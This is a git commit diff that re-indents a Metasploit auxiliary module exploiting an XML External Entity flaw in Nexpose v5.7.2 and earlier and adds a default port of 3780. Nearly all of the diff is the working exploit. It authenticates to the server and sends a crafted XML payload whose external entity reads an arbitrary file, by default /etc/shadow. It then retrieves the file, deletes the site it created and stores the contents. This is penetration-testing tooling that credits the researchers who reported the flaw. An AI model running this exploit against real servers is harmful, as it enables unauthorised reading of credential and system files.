Whitespace retab, add rport 3780 as default
Tod Beardsley
parent
e436d31d23
commit
24b8fb0d7b
|
|
@ -10,124 +10,125 @@ require 'rapid7/nexpose'
|
|||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Nexpose XXE Arbitrary File Read',
|
||||
'Description' => %q{
|
||||
Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number
|
||||
of vectors. This vulnerability can allow an attacker to a craft special XML that
|
||||
could read arbitrary files from the filesystem. This module exploits the
|
||||
vulnerability via the XML API.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module
|
||||
'Drazen Popovic <drazen.popvic[at]infigo.hr>' # Independent discovery, alternate vector
|
||||
'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>', # Independently reported
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ],
|
||||
# Fill this in with the direct advisory URL from Infigo
|
||||
[ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ]
|
||||
]
|
||||
))
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Nexpose XXE Arbitrary File Read',
|
||||
'Description' => %q{
|
||||
Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number
|
||||
of vectors. This vulnerability can allow an attacker to a craft special XML that
|
||||
could read arbitrary files from the filesystem. This module exploits the
|
||||
vulnerability via the XML API.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module
|
||||
'Drazen Popovic <drazen.popvic[at]infigo.hr>' # Independent discovery, alternate vector
|
||||
'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>', # Independently reported
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ],
|
||||
# Fill this in with the direct advisory URL from Infigo
|
||||
[ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ]
|
||||
]
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [true, "The Nexpose user", "user"]),
|
||||
OptString.new('PASSWORD', [true, "The Nexpose password", "pass"]),
|
||||
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]),
|
||||
OptBool.new('SSL', [true, 'Use SSL', true])
|
||||
], self.class)
|
||||
end
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(3780),
|
||||
OptString.new('USERNAME', [true, "The Nexpose user", "user"]),
|
||||
OptString.new('PASSWORD', [true, "The Nexpose password", "pass"]),
|
||||
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]),
|
||||
OptBool.new('SSL', [true, 'Use SSL', true])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
prot = datastore['SSL'] ? 'https' : 'http'
|
||||
def run
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
prot = datastore['SSL'] ? 'https' : 'http'
|
||||
|
||||
nsc = Nexpose::Connection.new(rhost, user, pass, rport)
|
||||
nsc = Nexpose::Connection.new(rhost, user, pass, rport)
|
||||
|
||||
print_status("Authenticating as: " << user)
|
||||
begin
|
||||
nsc.login
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => prot,
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:proof => '',
|
||||
:active => true
|
||||
)
|
||||
print_status("Authenticating as: " << user)
|
||||
begin
|
||||
nsc.login
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => prot,
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:proof => '',
|
||||
:active => true
|
||||
)
|
||||
|
||||
rescue
|
||||
print_error("Error authenticating, check your credentials")
|
||||
return
|
||||
end
|
||||
rescue
|
||||
print_error("Error authenticating, check your credentials")
|
||||
return
|
||||
end
|
||||
|
||||
xml = '<!DOCTYPE foo ['
|
||||
xml << '<!ELEMENT host ANY>'
|
||||
xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">'
|
||||
xml << ']>'
|
||||
xml << '<SiteSaveRequest session-id="'
|
||||
xml = '<!DOCTYPE foo ['
|
||||
xml << '<!ELEMENT host ANY>'
|
||||
xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">'
|
||||
xml << ']>'
|
||||
xml << '<SiteSaveRequest session-id="'
|
||||
|
||||
xml << nsc.session_id
|
||||
xml << nsc.session_id
|
||||
|
||||
xml << '">'
|
||||
xml << '<Site id="-1" name="fdsa" description="fdfdsa">'
|
||||
xml << '<Hosts>'
|
||||
xml << '<host>&xxe;</host>'
|
||||
xml << '</Hosts>'
|
||||
xml << '<Credentials />'
|
||||
xml << '<Alerting />'
|
||||
xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />'
|
||||
xml << '</Site>'
|
||||
xml << '</SiteSaveRequest>'
|
||||
xml << '">'
|
||||
xml << '<Site id="-1" name="fdsa" description="fdfdsa">'
|
||||
xml << '<Hosts>'
|
||||
xml << '<host>&xxe;</host>'
|
||||
xml << '</Hosts>'
|
||||
xml << '<Credentials />'
|
||||
xml << '<Alerting />'
|
||||
xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />'
|
||||
xml << '</Site>'
|
||||
xml << '</SiteSaveRequest>'
|
||||
|
||||
print_status("Sending payload")
|
||||
begin
|
||||
fsa = nsc.execute(xml)
|
||||
rescue
|
||||
print_error("Error executing API call for site creation, ensure the filepath is correct")
|
||||
return
|
||||
end
|
||||
print_status("Sending payload")
|
||||
begin
|
||||
fsa = nsc.execute(xml)
|
||||
rescue
|
||||
print_error("Error executing API call for site creation, ensure the filepath is correct")
|
||||
return
|
||||
end
|
||||
|
||||
doc = REXML::Document.new fsa.raw_response_data
|
||||
id = doc.root.attributes["site-id"]
|
||||
doc = REXML::Document.new fsa.raw_response_data
|
||||
id = doc.root.attributes["site-id"]
|
||||
|
||||
xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />"
|
||||
xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />"
|
||||
|
||||
print_status("Retrieving file")
|
||||
begin
|
||||
fsa = nsc.execute(xml)
|
||||
rescue
|
||||
nsc.site_delete id
|
||||
print_error("Error retrieving the file.")
|
||||
return
|
||||
end
|
||||
print_status("Retrieving file")
|
||||
begin
|
||||
fsa = nsc.execute(xml)
|
||||
rescue
|
||||
nsc.site_delete id
|
||||
print_error("Error retrieving the file.")
|
||||
return
|
||||
end
|
||||
|
||||
doc = REXML::Document.new fsa.raw_response_data
|
||||
doc = REXML::Document.new fsa.raw_response_data
|
||||
|
||||
print_status("Cleaning up")
|
||||
begin
|
||||
nsc.site_delete id
|
||||
rescue
|
||||
print_error("Error while cleaning up site")
|
||||
return
|
||||
end
|
||||
print_status("Cleaning up")
|
||||
begin
|
||||
nsc.site_delete id
|
||||
rescue
|
||||
print_error("Error while cleaning up site")
|
||||
return
|
||||
end
|
||||
|
||||
if !doc.root.elements["//host"]
|
||||
print_error("No file returned. Either the server is patched or the file did not exist.")
|
||||
return
|
||||
end
|
||||
if !doc.root.elements["//host"]
|
||||
print_error("No file returned. Either the server is patched or the file did not exist.")
|
||||
return
|
||||
end
|
||||
|
||||
path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}")
|
||||
print_good("File saved to path: " << path)
|
||||
end
|
||||
path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}")
|
||||
print_good("File saved to path: " << path)
|
||||
end
|
||||
end
|
||||
|
|
|
|||
Loading…
Reference in New Issue